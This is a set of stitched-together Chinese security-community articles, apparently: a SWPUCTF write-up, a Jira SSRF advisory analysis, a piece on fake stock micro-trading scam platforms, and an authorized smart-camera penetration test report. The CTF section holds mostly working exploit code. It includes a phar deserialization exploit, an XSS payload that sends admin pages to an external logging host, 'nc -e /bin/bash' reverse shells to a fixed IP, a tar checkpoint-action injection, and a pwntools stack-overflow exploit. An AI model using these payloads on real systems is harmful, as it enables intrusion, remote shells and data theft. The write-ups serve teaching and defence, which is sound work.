echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= addslashes($_value);
}
}
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jepg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invild file!");</script>';
return false;
}
}
}
?>
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
#### 分析
按照base.php的提示,flag就在`f1ag.php`中，那么就要想法通过读取f1ag.php文件来获取flag。
而整个代码中只有两个函数可以获取文件的内容： **class.php**
中的`highlight_file()`和`file_get_contents()`
但是在代码中又做了如下限制：
* 题目在上传文件处做了白名单的限制,无法上传可被解析的php文件。所以直接上传webshell后查看文件的这条路便走不通
* `_show`方法把f1agWAF掉，无法显示flag所在的f1ag.php文件
所以最后只有从`file_get_contents()`函数入手。
因为又没有`serialize()`和`unserialize()`函数，所以就没有办法直接触发`file_get_contents()`所在的`Test`类，那么就只有通过其他方法来调用`Test`。
结合文件上传的功能点，我们不难想到用上传phar包来触发反序列化漏洞。
在phar触发反序列化漏洞有一下要求:
* 存在文件操作函数,例如`file_exits()`、`file_get_contents()`等等， **且其中的参数可控**
* 在类中存在`__destruct`方法
* 可上传phar构造文件
而我们题目正好符合这以上几点要求:
file.php中存在`file_exits()`,且`$file`可控
<?php
//code...
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
}
//code...
?>
class.php中存在`__destruct()`方法
class C1e4r
{
//code...
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
function.php中存在`文件上传`
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
3个条件已经满足，那么接下来就是需要构造pop链了
### pop链分析
1.`file_get_contents()`存在`Test`类中的`file_get()`方法,该方法在`get`中被调用,而`get`是`__get`魔法方法的重写。
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
`__get`方法是在访问一个类不存在或者是不可访问的变量是会触发。下一步就是要想办法触发`__get`
2.在`Show`类的`__toString`魔术方法中
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
存在`$this->str['str']->source`,如果`$this->str['str']`为`Test`类的话，那么就会访问不存在的`source`变量，这里就可以调用`__get`方法。接下来就是要触发`__toString`方法(当一个对象被当做字符串时调用)
3.而恰好在`C1e4r`的`__destruct`中echo了一个变量,`__toSting`方法就可以用上
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
至此，我们的pop链就形成了。
### exp构造
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params = array('source' => 'var/www/html/f1ag.php');
}
@unlink("c1e4r.phar");
$phar = new Phar("c1e4r.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$p1 = new C1e4r();
$p2 = new Show();
$p2->str = array('str'=>new Test());
$p1->str = $p2;
$phar->setMetadata($p1);
var_dump($phar->getMetadata());
$phar->addFromString("test.txt", "c1e4r");
//签名自动计算
$phar->stopBuffering();
?>
上传后保存的文件名是
`$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";`
ip在题目页面右上角有显示。
上传成功后,访问:
`file.php?file=phar://upload/文件名`,base64解码后获得flag
<?php
$flag = 'SWPUCTF{Php_un$eri4liz3_1s_Fu^!}';
?>
### 有趣的邮箱注册
check.php右键发现源码有php
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
于是提交payload
"aaa><script/src=http://sp4rk.cn:6324/duyuanma.js</script>"@a.aaa
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/d' + escape(b);
可以看到admin/a0a.php下面有个命令执行，于是弹shell
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/' + escape(b);
上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b，访问下
这里有个上传和备份文件
发现经过tar *处理，于是上传文件
—checkpoint=1
—checkpoint-action=exec=sh exp.sh
exp.sh
nc -e /bin/bash 118.89.56.208 6325
## MISC
### 签到题
1、一般思路，拖到winhex看看源码，ctrl+f，然后flag，回车，在末尾发现有一半flag
2、图片长宽被改过后在linux里面用display是查看不了的，会报错
所以修改高度，在底部可以看到另一半flag
修改这个位置，这里修改为02ff
看到另一半flag
### 唯有低头，才能出头
提示：举头望明月，低头…
意思就是看键盘….
打开记事本,有一串数字`99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33`
99对应的是`l`
9对应`o` 依次类推,
最后获得`swpuctf{lookatthekeyboard}`
### 流量签到题
简单的流量题
用Wireshark打开流量包,查找flag
## RE
解密代码都放云盘：
链接：<https://pan.baidu.com/s/1vP86jBhLsQRJGCRJtyEKzw>
提取码：tqiz
### RE1
原理很简单：
这个开始想法是想写压缩，后来改成了加密，原理就是把开始和结尾的0全部去掉，如果开始有重复的1就删掉只剩下一个1(因为sar指令高位不变，所以留一个1来还原重复的1)。然后用这几个表来保存一下进行操作的位数，这些表都是bit进行拼接形成，还原时候分别用shr,shl,sar就行了。
### RE2
这道题放了一些假的check函数来迷惑，流程是首先将存放wsprintf函数的返回地址处的堆栈地址作为了第一个参数，第三个参数就是要跳转的地址，这样调用wsprintf就会转到00401360处执行，这是以前在看雪看到的一个方法，具体文章链接没有保存。
到00401360看下：
这里故意产生了一个异常，然后我在一个C++类的全局对象的构造函数去HOOK了KiUserExceptionDispatcher中的调用异常handler的call
然后在hook函数中进行加密，并且将加密后的存放在了ExceptionInfo->ExceptionRecord->ExceptionInformation中，接着走一下VEH,SEH再进行一次加密，就是一个base64，然后在设置了下TopLevelExceptionFilter，将数据传递到各个寄存器，再设置eip返回到真正的check函数。
check函数再通过push ret来返回到main的打印的地方。整个流程就是这样，算法很简单。
### GOOD_GAME
这道题是用傀儡进程技术，没做太多处理，容易找到dump点，可以直接dump出来真正的exe文件。
真正的exe是D3D绘制的界面，通过字符串[Enter]可以跟踪到获取输入以及返回上一层的地。
这里用了’ – ’符来分割string，然后保存到vector中。并且判断vector中string的个数是否是4以及每一个string的长度是否是4.
接着传入前面两部分进行一次加密，可以根据常量识别出这是DES算法，这里把DES的subkeys进行了一次移位，并且修改了sbox3开头的5个字节，然后把结尾结果减去0x10，之后再进行一个简单的方程check。解方程可以得到另外两部分是个常量。
DES部分可以网上找个标准的DES把这几部分改一下就能解出FLAG：HOPE-UCAN-GOOD-GAME
### Paper tiger
这道题算法很简单，主要是用了自己写的一个变形乱序引擎进行改变一下。这里可以对ShowWindow下断，回溯找到check点，这里可以先清除花指令(一共4种，很容易识别出来，都是固定字节)，这里转移指令没有用表进行加密而是直接放的jmp
xxx ,call xxx ,push xxx ret这三种类型，对于变形代码也只是处理了一些mov reg,常量 push xxx这些，不影响算法部分。
这里可以下内存访问断点单步跟出算法，原本的思路是想师傅们恢复一下乱序再适当恢复点变形，但是这样可能工作量过大，就没有对算法部分的指令进行变形，只是对验证算法的一条mov
ecx,5进行了变形，但是动态跟还是很容易看出来。
我这里的做法没有下访问断点跟，而是用OD脚本简单恢复了下乱序，然后定位关键代码去看看。
OD脚本去跑一下trace清除一下所有的nop和乱序指令，再对输入部分的长度和内容都下一个内存访问断点。
可以来到这个地方，再到od
脚本跑的trace中去定位一下这个位置，就可以开始分析了，最后可以提取出整个算法。OD脚本和跑出来的trace以及分析的code和解密代码放在附件。
## MOBILE
### 基础android
先找到入口活动
解压apk然后把dex文件放到jadx-gui里面，找到对应活动
可以看到这里有一个checkPassword()函数验证我们的输入
查看checkPassword()函数
先判断输入长度，然后再进行一个简单的循环，可以自己写一个脚本找到正确输入
然后进入到第二个界面
可以看到这是把我们的输入作为广播发送出去，那么可以看到在AndroidManifest.xml文件里面注册了一个广播接收器
这就是第二个输入，然后就可以看到带flag的图片了
### Android2.0
把dex文件放到jadx-gui里面
可以看到将我们的输入作为参数调用jni方法，如果返回1就正确，返回0则失败
那么把so文件放到IDA中，找到相关函数
查看First()函数
自己写一个脚本解码
就可以解出flag了
## BIN
### easy_exp
一个格式化字符串，一个栈溢出。
先用格式化泄漏出 libc 基地址和 heap 栈地址。通过 libc 获得一个 one_gadget，通过 heap 获得目标地址。
然后是 motto
处，先是输入长度时如果长度为负那么会对长度进行求补，-9223372036854775808的补数是本身，这样就可以实现输入一串很长的字符串造成栈溢出了。
然后这里还要绕过 Canary，我们这里用c++异常处理来绕过，直接触发异常，unwind 时是不检测 Canary 的，这样就绕过了Canary 了。
from pwn import *
# io = process("./exploit_1")
io = remote("118.25.216.151", 10001)
elf = ELF("./exploit_1", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
read_plt = elf.plt["read"]
read_addr = 0x400BF5
rdi_ret = 0x400fa3
rsi_r15_ret = 0x400fa1
# context.log_level = "debug"
# -------- leak info -------- io.recvuntil("please input name:n")
io.send("%p/%p/%p/%p/%p/%p/!%p/n")
io.recvuntil("/")
libc_base = int(io.recvuntil("/")[:-1], 16) - 0x3C6780
io.recvuntil("/!")
heap_base = int(io.recvuntil("/")[:-1], 16)
info("libc base: " + hex(libc_base))
info("heap base: " + hex(heap_base))
# -------- exploit -------- one_gadget = libc_base + 0x45216
info("one_gadget: " + hex(one_gadget))
pivote_addr = heap_base + 0x20
info("pivote addr: " + hex(pivote_addr))
unwind_addr = 0x400EC5
payload = "aaaaaaaa"
payload += p64(one_gadget)
payload = payload.ljust(0x410, 'x00')
io.recvuntil("please input size of motto:n")
io.sendline("-9223372036854775808")
io.recvuntil("please input motto:n")
io.send(payload + p64(pivote_addr) + p64(unwind_addr))
io.send("n")
io.interactive()
io.close() | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/VaHYzhkn2gZhHcCPTdO-Tg>**
## **漏洞描述**
6月29日，Atlassian官方发布安全公告，在Atlassian Jira
多款产品中存在服务端请求伪造漏洞(SSRF)，经过身份验证的远程攻击者可通过向Jira Core REST
API发送特制请求，从而伪造服务端发起请求，从而导致敏感信息泄露，同时为下一步攻击利用提供条件。需注意的是，若服务端开启注册功能，则未授权用户可通过注册获取权限进而利用。
## **利用范围**
Jira Core Server, Jira Software Server, and Jira Software Data Center:
* Versions after 8.0 and before 8.13.22
* 8.14.x
* 8.15.x
* 8.16.x
* 8.17.x
* 8.18.x
* 8.19.x
* 8.20.x before 8.20.10
* 8.21.x
* 8.22.x before 8.22.4
Jira Service Management Server and Data Center:
* Versions after 4.0 and before 4.13.22
* 4.14.x
* 4.15.x
* 4.16.x
* 4.17.x
* 4.18.x
* 4.19.x
* 4.20.x before 4.20.10
* 4.21.x
* 4.22.x before 4.22.4
## **漏洞分析**
### **环境搭建**
使用docker搭建，在docker仓库（<https://hub.docker.com/r/weareogury/atlassian-jira-software/tags>）中可找到漏洞版本的Jira Software Server镜像。
按步骤进行配置即可。
环境搭建成功
### **代码分析**
分析Jira Mobile
插件，在com.atlassian.jira.plugin.mobile.rest.v1_0.BatchResource中存在barch
API接口，阅读代码，该API应该是用于接收多个请求并在服务端执行。
分析下方的executeBatch函数。
在如图所示代码，实际负责发送HTTP请求。其中batchService接口的实现类BatchServiceImpl位于com.atlassian.jira.plugin.mobile.service.impl.BatchServiceImpl.class
分析batch函数。
根据如上代码，定位execute函数。
其中relativeLocation来自于requestBean.getLocation中的location。
后续传入toJiraLocation函数
继续跟进，位于com.atlassian.jira.plugin.mobile.util.LinkBuilder.class
URL通过简单的拼接构造，而其中的path来自于location，完全可控。
继续回到execute函数。
location会从json对象中获取，在获取到URL对象后，再调用httpClientProvider发送Http请求。
因为URL的后半部分是可控的，如果我们简单指定location为@xx.com，那么最终的URL为<https://[email protected]>，httpClientProvider实际上会对xx.com发送http请求，所以导致了SSRF漏洞产生。
## **漏洞复现**
使用burpsuite自带的dnslog功能进行探测，成功发送请求。
## **修复建议**
**1\. 将受影响的产品升级到最新安全版本:**
Jira Core Server、Jira Software Server 和 Jira Software Data Center 可升级至：
* 8.13.22
* 8.20.10
* 8.22.4
* 9.0.0
Jira Service Management Server 和 Data Center 可升级至：
* 4.13.22
* 4.20.10
* 4.22.4
* 5.0.0
**2\. 缓解措施**
(1) 关闭用户注册功能。
(2) 禁用Mobile Plugin，具体步骤如下：
a、在应用程序的顶部导航栏中，选择设置 -> 管理加载项或管理应用程序。
b、找到Mobile Plugin for Jira Data Center and Server应用程序，然后选择禁用即可。
(3) 升级Mobile Plugin至最新版本。
## **参考材料**
<https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html>
* * * | 社区文章 |
# 股票交流群推荐的“牛股”，却总是输多赢少？真相…
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
鼓吹“名师”指路、稳赚不赔的荐股骗局时有发生，诈骗手法也大多一致：
究其本质，就是以推股、荐股为名，吸引用户在虚假投资平台投资，骗取投资的资金。而这类虚假交易平台使用的 **微交易** ，也称 **点位盘、时间盘** 。
## 什么是“微交易”？
微交易指的大盘的“缩小盘”，有着股票一样行情浮动，与股票不同的是，用户只需在平台内进行买涨或买跌的“押宝”行为，盈亏不予股票本身的涨跌挂钩，而是取决于你的“押宝”行为是否与平台公布的行情走向一致，一致即获取收益，反之则亏损。从此特征来看，其
**本质就是与平台（盘口）对赌，赌的就是盘口的涨跌** ，类似于博彩盘口里的开大小，
### 交易模式：时间盘、点位盘
#
## 此类微交易为什么是诈骗，又是如何骗到用户资金的呢？
通过平台的搭建流程、管理后台，我们找到了其中的奥秘。
### 搭建流程
完成域名、服务器、数据库绑定，将源码上传至服务器等一系列操作，完成平台搭建。 **只要有源码，十几分钟即可完成平台上线，** 而此类源码，网上很容易获取。
### 网站管理后台
通过对应用及互联网同类源码分析，发现其主要运营后台的 **风控管理** 功能，可以实现设置平台的盈利亏损：
n最小风控值，用户下单达到此金额，则会受到风控影响；
n指定客户赢利/亏损，此处设置会员ID（如：8888），设置之后该会员所有订单都会赢利/亏损;
参数设置指的是设置平台内与用户相关的，如是否开放用户注册、每笔平台收取手续费、单笔最高下单金额，单笔提现最大金额，订单受风控时间、可单控用户。
## “微交易”的安全风险提示
通过管理后台，我们发现此类时间盘、点位盘均是 **资金盘骗局，** 可能存在安全风险：
n一些平台存在误导性喊单现象。平台上指导老师故意喊反方向，导致投资者亏损严重，利用客户急于“扳本”心理劝说追加投资，导致投资者越陷越深。
n通过订单管理功能、风控管理功能发现所有的商品都是虚假的，都是伪造出来的市场行情。且由于存在最小风控值、指定客户亏损功能，
**用户的输赢都在平台掌控范围之内** 。
n一些平台存在入金容易、出金困难，甚至不给出金的问题。投资者需要出金时要么出现系统异常，要么资金被冻结，造成投资者维权困难。
## 安全课堂
n虚假的股票交易平台和真实的证券市场走势一样，用户可以通过该平台自由买卖股票。但实际上，用户的资金并没有进入真正的股市，而是转入了诈骗团伙掌握的账户。
n理财荐股诈骗层出不穷，不要轻信所谓的“导师”指路、稳赢不赔，更不要抱有投机的想法，因为此类诈骗最后大多都是无法提现，账户盈亏全都是虚拟的数字。 | 社区文章 |
# 智能摄像头安全分析及案例参考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
通过对智能摄像头的网络结构和设备特性进行分析，总结了智能摄像头常见的几类攻击方式，并结合实际案例进行全面的安全分析。由于自己也是刚开始接触这方面知识，所以涉及的内容都比较浅显，大佬无视即可。
## 智能摄像头介绍
传统摄像头，一般指传统的只能存储监控画面的老实摄像头，如需及时发现画面中的异常，需长时间回看画面，比如之前一些警匪片中出现的几个人端着泡面守着电脑回滚监控视频。
而智能摄像头之所以称之为“智能”，就是由于智能摄像头可主动捕捉异常画面并自动发送警报，大大降低了用户精力的投入，方便、简单。
智能摄像头的核心为物联网及云应用双剑合璧，缺一不可：要想实现即时且随时随地的监控，摄像头需要可通过手机app与手机相连，点开便可查看摄像头即时拍摄的画面；同时，当拍摄画面出现异常动态或声响时，摄像头除了可自动捕捉异常并启动云录像并自动上传，还可通过短信或手机app向用户发送警报信息，从而实现全天候智能监控。
## 智能摄像头网络结构
目前市面上的智能摄像头都包含了云端、手机端、摄像头设备端三部分。
* 摄像头设备终端：主要存放设备密码、与云端交互的信息、协议相关信息；
* 手机端：通过蓝牙、wifi等方式管理智能设备、用户注册、密码修改、绑定设备、管理设备等；
* 云端：提供存储空间进行上传的视频存储、对用户进行管理、对app进行管理、提供api接口等。
## 智能摄像头常见攻击方法
根据网络结构中的三个部分云端、手机端、摄像头设备端以及通讯协议可分为四类攻击方法（部分内容参考了绿盟科技和白帽汇的物联网安全分析报告）。
### 针对摄像头设备的攻击
1、针对物理设备的攻击：调试接口暴露、固件提取、设备序列号篡改、篡改存储介质、获取普通用户权限、权限提升等；
2、针对固件的攻击：获取敏感数据、获取硬编码密码、逆向加密算法、获取敏感api接口、ftp或ssh等服务攻击、固件降级等；
3、针对内存的攻击：获取内存中的敏感数据（如用户名、密码等）、获取加密Key等。
### 针对手机端的攻击
针对手机端app的攻击相对比较常见，而结合摄像头的特殊性，主要可以从以下几个方面入手。
1、静态反编译：对APP进行脱壳、使用反编译工具获取源码、本地敏感数据存储、logcat日志、webview风险测试等；
2、通信安全：中间人攻击、访问控制是否合理、数据加密强度等。
### 针对云端的攻击
云服务端面临的风险和常规的应用服务器类似，简单列举几个。
1、web应用安全：用户注册的各种问题、任意用户注册、用户枚举、验证码缺陷、各种越权、密码复杂度、单点登录、密码修改等等。
2、服务安全：针对服务器开放的各种服务存在的缺陷进行攻击，如ftp、ssh、mysql等各种弱口令，针对操作系统的各种Nday和0day等；
3、其他：各种C段、子域名等等，还可以先打入摄像头公司内部办公网再觊觎服务器，DDOS打乱对方部署也是一种思路。
### 针对协议的攻击
除了摄像头设备、手机端、云服这三个重要节点外，三者之间的通讯安全也非常关键。
1、APP与云端一般通过HTTP、HTTPS通信，分析中应判断通信流量是否加密，可否抓包劫持通信数据;
2、设备与云端一般采用MQTT、XMPP、CoAP等协议通信，也会使用HTTP、HTTPS通信,部分厂家的设备会使用私有协议进行通讯，例如京东、小米、broadlink等;
3、APP与设备之间通信一般利用短距离无线网络进行通信，如ZigBee、Wi-Fi以及蓝牙等。
## 摄像头安全分析案例
### 情况简述
本案例是针对一互联网小型摄像头厂商，在测试前期已经和相关负责人进行了沟通并签署了授权和保密协议等，在测试后已经完全交付了测试结果，并在厂商整改后进行了复测确保所有风险均已修复。在时隔一年半后，已经确保该旧版摄像头已经基本退市，在征得厂商同意后才和大家分享一下本案例。由于部分加密算法和协议仍在使用，所以部分内容进行了脱敏和文字混淆。那时候也是刚开始接触这方面知识，所以涉及的内容都比较浅显，大佬勿喷。
本次分析主要包括摄像头设备、服务云端、数据通信三个方面，另外还涉及到部分手机端APP、网站系统等。
### 固件升级包可被逆向
通过对XX官网提供的固件升级程序进行分析，发现大部分升级包均可被逆向出源文件，在固件包中可获取ssh和ftp登录账号和密码以及一些重要api接口和加密算法等，以ssh密码获取为例。
从其中下载了两个固件包为例进行测试，使用Binwalk对该固件进行分析。
从上图中可以看到固件中包含了LZMA压缩的数据和Squashfs文件系统以及其他系统信息，但Binwalk直接提取数据失败。
固件使用的是squashfs文件系统，它是一套供Linux核心使用的GPL开源只读压缩文件系统。squashfs文件系统开始于0x40040, 大小为
4605584 字节, 用dd命令提取该文件系统，再用UnSquashfs对Squashfs文件系统进行解包。
解压出来的系统文件
可以查看系统文件信息
可直接查看系统passwd文件
使用暴力破解工具john the ripper可轻易破解该密码。
* 风险分析：
1、可根据passwd文档破解默认的摄像头root密码，通过该默认密码可直接登录暴露在内网中或互联网上的摄像头设备；
2、可根据系统内的文件逆向密码加密算法，破解摄像头和云端的通信数据。
### 加密算法可被逆向
通过对手机端APK的分析，发现虽然有的版本使用了加密和混淆，但通过解密和反编译后，大部分APK可直接被逆向出源程序。
使用JD可将smali反编译为java源码，更为直观的查看程序代码。
随后将lib目录下的so文件进行了逆向分析。
根据关键字定位到密码加密算法几个相关的函数。
由于逆向能力比较一般，于是又结合了上一节摄像头固件解包出的/progs/bin目录下的sctrl文件进行逆向分析。
结合手机端APK和摄像头固件中的文件反编译分析，推导出了用户密码加密逻辑。用户密码使用了MD5(unix)+SALT的方式进行加密，SALT使用了函数生成，但生成算法非常简单。
根据加密算法编写的解密算法如下：
使用该算法对密码123456进行加密
该密文和用户在手机端APK登录时的加密后的密码完全一致。
这也证明了通过逆向加密算法而推导出的解密算法是正确的。
* 风险分析：
1、APK未进行混淆、加壳或使用了较简单的加壳保护，很容易导致APK被反编译、重打包等；
2、较弱的salt生成算法可通过反编译还原出来解密算法，进而使用程序模拟用户登录。
### 用户密码可被批量破解
在用户使用手机端登录时，对数据进行抓包分析。
多次抓包分析后，可得到几个关键TCP数据包。
根据前面逆向编写出的解密算法，使用socket进行数据发包测试
可以模拟APK进行用户登录，并能进行其他操作。 如获取设备列表、添加设备、修改设备密码等。
分析发现，在用户密码正确和错误时，返回信息时不同的。
根据这种不同，可以设计字典对用户和密码进行破解。
编写程序使用手机号字典进行用户枚举测试，简单测试后发现150多个手机号使用了123456做为手机端登录密码。
编写程序对手机云端ID号进行简单的枚举测试，经过十分钟测试便发现了在线且使用默认设备密码的手机云端ID号码有二三百个。
* 风险分析：
1、云端对APK发送的数据没有更多的校验，导致可编写程序批量破解用户名和密码，导致用户身份失窃。
2、通过通信数据的分析，可有针对性的编写程序进行批量添加设备，进行批量的破解设备密码。
3、理论上讲，使用该方法可遍历所有的用户、密码和手机端设备。
### 互联网设备可被探测发现
通过对摄像头设备的分析，发现摄像头在正常工作时默认开放了如下端口。
其中80端口为web管理端，11010为数据转发端口。
而有些部署在互联网上的XX摄像头设备在开放一个web管理端外，也会开放11010端口进行录像机的管理。
使用zmap对全国IP进行扫描，发现中国境内IP开放了11010端口的服务器大约有3.5W个。
通过分析，在访问web管理时，服务器会返回如下信息，其中头信息Server: thttpd/2.25b 29dec2003可作为指纹进行摄像头识别：
通过web指纹对开放了11010端口的IP进行再次过滤，发现存在的主机有3800多个。
使用默认密码admin/123456对其中IP进了访问测试：
* 风险分析：
1、默认的、有特殊性的端口很容易被识别，导致设备被暴露在互联网上；
2、摄像头默认的弱口令比较方便用户记忆和管理，但也会给用户带来信息泄露的极大威胁。
### 设备可被未授权控制
在摄像头联网时，对摄像头和云端的通信数据进行抓包分析，发现摄像头会先请求手机端服务器IP地址。
得到服务器IP地址后，进行数据传输测试。
在选择好服务器后，随后的音视频的传输使用了UDP协议。
而通过几次分析，发现在该数据流中摄像头还会发送配置信息给云端服务器。
其中包括了云端ID号码、端口、SMTP账号、密码等明文信息。 在随后的修改密码测试时，通过手机端APP修改设备密码，发现了数据包格式为：
对data字符串进行分析：
6a7ea9b5c000004a31b1add1515c000000860000000600000014000000000000000000000061646d696e0000000000000000000000000000003132333435360000000000000000000000000000b9dcc0edd4b1d5cabba700000000000000000000000000000000000000000000
发现6a7ea9b5c000004a31b1add1之后的字符为控制字段和密码字段。 编写脚本模拟云端对设备进行密码修改。
可成功将密码修改为123456789。 随后的测试中，发现还可以控制摄像头重启或关机。
* 风险分析：
1、音视频流和控制数据流都使用了UDP进行传输，很容易实现中间人攻击，导致敏感信息泄露；
2、在监听到摄像头的通信数据后，很容易伪造数据进行摄像头密码修改、重启设备、控制云台；
3、在摄像头请求服务器IP地址的时候，发现系统使用了DNS解析域名，此时进行DNS欺骗可轻易劫持摄像头，进而对摄像头进行云台控制、关机、固件升级等非法控制管理。
### 多个web服务器存在漏洞
在对摄像头进行安全检测的同时，不可避免的接触到web服务器，虽未进行针对性的测试，但仍发现一些问题，在此仅列举一二。
**手机端官网存在s2-045命令执行漏洞**
测试中发现IP为X.X.X.X的服务器存在Struts2-045漏洞。
其中xxx.com和xx.xxx.com两个域名解析到该服务器上，在其中一个服务器上存在struts2命令执行漏洞。
http://xx.xxx.com/xxx.do?deviceGuid=xxx，使用POC程序可直接执行系统命令。
执行whomai，使用了root用户。
查看shadow文件。
攻击者可以利用该漏洞轻易在远程服务器上执行任意系统命令，将会对受影响站点造成严重影响，引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。
**云端ID号码可进行枚举**
在摄像头官网提供了一个云端ID号码查询的接口 http://www.xxx.com/xxx/Support.jsp?id=S12923021
该接口可直接查询所有的云端ID号码，并显示是否在线。
当设备不存在时，返回值rt=-1：
当设备离线时，返回rt=1，dsls=0;当设备在线时，rt=1，dsls=1.
根据返回值的不同即可进行云端ID号码的暴力枚举，使用枚举到的在线手机端设备，可使用默认密码尝试添加查看。
**管理后台存在越权漏洞**
在进行APK测试时，发现APK广告管理平台存在越权。 访问URL: http://xx.xxx.com/Service/AdsList.do
可查看所有广告信息。
通过该越权也可以轻易修改或删除广告信息，进而影响所有APK接收到的广告。 另外一处经销商查询接口处，也存在越权。访问URL可直接查看所有供应商信息。
* 风险分析：
1、相比摄像头设备的漏洞，攻击者可能更擅长从web服务器入手，服务器一旦出现问题，那么所有的用户和设备信息都将受到威胁；
2、未授权访问可能导致供应商信息泄露、广告被恶意篡改，甚至管理员密码失窃等。
**多个数据库使用了相同口令**
通过struts2命令执行获取了一台服务器的权限，得到了其中数据库的密码，后来发现该公司多个云服务器上的数据库使用的都是相同密码，包括最重要的用户管理数据库和云ID号码管理数据库，也包括了两台重要的视频存储集群设备。
### 测试小结
通过测试，发现摄像头、云端、APP之间的数据通信采用了一定的保护措施，但还是存在很多安全薄弱点。
1、算法可被逆向分析。私有算法的安全性取决于算法的不公开性，一旦算法逻辑可被逆向分析，那么在这之上建立的安全基础都将不复存在。
2、身份校验存在缺陷。在使用自发包控制摄像头或连通服务器时，摄像头和云端服务器没有对控制数据进行校验，导致可直接响应任意数据。
3、WEB服务器存在的安全隐患较大。虽然本次测试并非针对web服务器，但测试中就已经发现中高危漏洞七八个之多，如果进行针对性web安全测试应该会有更多的问题。而且web服务器中保存着更多的用户数据和设备信息。
## 安全建议
1、平台安全性：采用安全隔离方式，把专网与公网从物理上隔离开，这是最切实有效的安全措施，防止摄像头在互联网上的暴露；
2、应有完善的授权机制，可以灵活地分配用户可以查看的摄像机、可执行的功能模块，可执行的具体功能等。因而用户只能查看权限范围内的摄像机和执行被授予的功能。
3、通信安全机制：在网络通信时，系统提供端到端（用户端-系统平台-设备固件）的SSL验证和数据加密。为防止视频流被非法用户截获，可以对视频文件进行加密传输，一般可以采用对称密钥体系进行加密，对每个视频流采用不同的密钥加密，只有有权观看此视频流的用户才拥有此密钥，可以对视频流进行解密，保障视频传输的安全性。
4、云服务器除了避免传统web漏洞外，对云端服务器的视频和文件进行备份和加密存储，防止因为服务器被贡献而导致用户数据泄露。
5、手机APP应该进行安全加固和代码混淆，防止app被逆向破解导致算法或业务逻辑泄露。
## 参考资料
https://www.zhihu.com/question/61252135
> [智能设备安全分析手册](http://blog.nsfocus.net/handbook-safety-analysis-intelligent-> equipment/)
https://www.freebuf.com/column/202095.html
https://iot-security.wiki/
https://nosec.org/home/detail/2113.html
http://news.mydrivers.com/1/595/595362.htm
https://ibotpeaches.github.io/Apktool/
https://zhuanlan.zhihu.com/p/30220669
https://security.tencent.com/index.php/blog/msg/92
